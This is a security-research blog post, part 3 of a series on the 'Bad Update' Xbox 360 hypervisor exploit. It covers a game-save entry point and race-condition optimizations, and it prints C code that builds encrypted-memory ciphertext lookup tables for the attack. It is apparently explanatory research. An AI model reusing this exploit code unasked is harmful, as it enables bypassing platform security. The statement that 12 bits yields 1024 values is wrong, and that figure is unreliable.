Hacking the Xbox 360 Hypervisor Part 3: Bad Update Improvements
Pangram verdict · v3.3
We believe that this entire text is human-written.
AI likelihood · overall
HumanArticle text · 1,437 words · 1 segments analyzed
Welcome to part 3 of the Hacking the Xbox 360 Hypervisor blog series. In this part I’ll go over what happened after I released the PoC for Bad Update, and how it went from taking ~20 minutes with a ~30% success rate to being near instantaneous with a near 100% success rate. If you haven’t already I highly recommend you read (or at least skim through) part 1 and part 2 as this post will reference a lot of the material discussed there. This part will be very short but will catch you up for part 4 which covers the peer pressure exploit and will be out soon. Rock Band Blitz In the months following the release of Bad Update v1.0 there were two major improvements made to it by others. The first by “ihatecompvir” and “InvoxiPlayGames” is a new game save entry point in the demo version of Rock Band Blitz (RBB) called DaTArrest. The demo version of RBB is a package file that’s normally downloaded from the Xbox Live store for free and saved to your console’s HDD or memory unit. When the Xbox 360 got support for using USB sticks as storage devices all of the packages signed to boot from the HDD or memory unit were grandfathered in to also boot from USB storage devices. This means the RBB demo package can be copied to a USB stick as a normal file and launched on any console on a software version that supports it. By exploiting some memory corruption vulnerabilities in the game’s DLC parsing code they were able to craft a game save file that when loaded would bootstrap the Bad Update stage 2 ROP chain and begin the hypervisor exploit chain. Using RBB as an entry point we no longer needed the Tony Hawk American Wasteland game disc. Running the Bad Update exploit was now as simple as copying some files to a USB stick, plugging it into your console, and launching Rock Band Blitz from the dashboard. Rock Band Blitz running the Bad Update exploit file. Hypervisor Race Condition Optimizations Shortly after the RBB entry point was discovered I received a pull request from “Máté” who had made some improvements to the hypervisor race condition part of the exploit. These improvements included a hash table for precomputing and storing the malicious ciphertext values, a better cache flushing primitive, and improved thread scheduling between the XKE payload thread and ciphertext overwrite thread. The combination of these improvements reduced execution time down to a few seconds and the race condition had a much higher success rate. Ciphertext Hash Table In part 2 I talked about attacking encrypted memory by using hypervisor APIs to create encrypted memory allocations at predetermined memory addresses and used two different memory pathways to capture the ciphertext for some chosen plaintext data. Using this primitive I was able to craft ciphertext data to get kernel mode code execution as well as the ciphertext data used to attack the LZX decompression code in the bootloader update XKE payload. The whitening value used in the memory encryption scheme is 12 bits large which gives 1024 unique ciphertext combinations for some given plaintext data. However, in my original PoC I was only generating the ciphertext for one of the 1024 possible whitening values and the reason for that was a two part failure on my end. When I originally prototyped out the ciphertext attack I did actually try using a lookup table for ciphertext combinations but I wasn’t able to get it working. The first issue was I was using a very old ~2011 era hypervisor/kernel build (it was just what all my old research was based on) which was doing a TLB flush for the encrypted VA range in the hypervisor function that setup the memory encryption. In later hypervisor builds that TLB flush was removed because the kernel wrapper function for this hypervisor function already does a TLB flush for the VA range. However, I call the hypervisor syscall directly (skipping the kernel wrapper code which does the TLB flush) and since the TLB is lazy-loaded the whitening bits would become stale and the resulting ciphertext read out of memory was invalid. Older hypervisor (left) vs newer hypervisor (right) with missing TLB flush When testing the exploit on the 17559 (latest) version hypervisor the lookup table was causing issues and rather than investigate I decided I’d fix it later and moved on. By the time I got to the end of the exploit I had become so blinded by tunnel vision chasing CPU cache issues that I had convinced myself the lookup table just wasn’t going to work. What I should have probably done (aside from investigate the lookup table issues when they surfaced) was to put this project down for a few weeks and come back with a clear mindset. Oh well, lesson learned… Getting into the implementation details of the hash table, we use the first N bits of the ciphertext we expect to see in memory as an index into two arrays. The first array contains the first 64-bits of the oracle ciphertext which is used for validation in case there’s ever a collision in the hash table. The second array stores our malicious ciphertext we want to write into memory. C 12345678910111213 // Index bits of the ciphertext lookup pseudo-hashtable#define HASH_BITS 20struct CIPHER_TEXT_DATA{ ULONGLONG dec_end_input_pos; ULONGLONG dec_output_buffer; // New dec_output_buffer pointer (dst address for memcpy) ULONGLONG OracleCipherText[1 << HASH_BITS]; // Cipher text for the LZX decoder context header, used to detect when to start the race attack ULONGLONG ReplacementCipherText1[1 << HASH_BITS]; // Cipher text containing our malicious dec_output_buffer pointer (points to hypervisor memory) ULONGLONG ReplacementCipherText2[1 << HASH_BITS];}; In order to make this as efficient as possible (remember we’re racing the CPU and cache here) we ignore collisions. It’s better to have a few collisions and have to skip some iterations on the race condition loop than to implement support for buckets in the hash table. Instead we compensate for collisions by choosing a sufficiently large enough number of bits for the hash table key such that the number of collisions is on the order of single digits, if we even have any (majority of the time there’s 0). However, more bits in the hash table key means a large array to hold the entries (meaning more memory is used) which could potentially work against us as we’ll be performing more fetches from RAM since CPU cache is being thrashed. Máté’s original PR used a key size of 10 bits but I later upped this to 20 bits which seems to be a happy spot where there’s usually no collisions or if there are it’s a low single digit number. The total size of memory needed to hold both hash tables is about 24MB. C 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455 void BuildCipherTextLookupTable(BYTE* pUpdateData, DWORD UpdateDataSize, DWORD ScratchOffset, CIPHER_TEXT_DATA* pCipherTextData){ // Arbitrary virtual address that will get mapped through the encrypted pathway to BaseAddrPhys. BYTE *pMemoryAddress = (BYTE*)0x8D000000; ... // Scan all 1024 possible whitening bits. for (int i = 0; i < 1024; i++) { // Allocate encrypted memory. HvxEncryptedReserveAllocation((DWORD)pMemoryAddress, BaseAddrPhys, UpdateDataSize); HvxEncryptedEncryptAllocation((DWORD)pMemoryAddress); // Manually flush the TLB entry for the encrypted allocation address so we pick up the new whitening value. HvxFlushSingleTb(pMemoryAddress); // Get the cipher text for the expected header data in the LZX decoder context. This acts as a // trigger to know when to start the race attack. memset(pMemoryAddress, 0, 16); *(ULONG*)(pMemoryAddress + 0) = 0x4349444c; // signature = 'CIDL' *(ULONG*)(pMemoryAddress + 4) = 0x8000; // windows size = 0x8000 *(ULONG*)(pMemoryAddress + 8) = 1; // cpu type = 1 __dcbst(0, (char *) pMemoryAddress); KeFlushCacheRange(pMemoryAddress, 0x80); KeFlushCacheRange(pUpdateData + ScratchOffset, 0x80); // Use the first N bits of the cipher text data as an index into the lookup table. ULONGLONG oracleData = *(ULONGLONG *)(pUpdateData + ScratchOffset); int index = oracleData >> (64 - HASH_BITS); // Check if we hit a collision in the cipher text lookup table. if (pCipherTextData->OracleCipherText[index] != 0) collisionCount++; // Add the current cipher text entry to the lookup table, overwriting any existing value. pCipherTextData->OracleCipherText[index] = oracleData; // Get the corresponding cipher text for our malicious dec_output_buffer pointer which points to the hypervisor code we want to overwrite. *(ULONGLONG*)(pMemoryAddress + 0x2B20) = pCipherTextData->dec_end_input_pos; *(ULONGLONG*)(pMemoryAddress + 0x2B28) = pCipherTextData->dec_output_buffer; __dcbst(0, (char *) pMemoryAddress + 0x2B00); KeFlushCacheRange(pMemoryAddress + 0x2B00, 0x80); KeFlushCacheRange(pUpdateData + ScratchOffset + 0x2B00, 0x80); // Store cipher text for our malicious dec_output_buffer pointer into the lookup table. pCipherTextData->ReplacementCipherText1[index] = *(ULONGLONG *) (pUpdateData + ScratchOffset + 0x2B20); pCipherTextData->ReplacementCipherText2[index] = *(ULONGLONG *) (pUpdateData + ScratchOffset + 0x2B28); // Free the encrypted allocation. result = HvxEncryptedReleaseAllocation((DWORD)pMemoryAddress); }}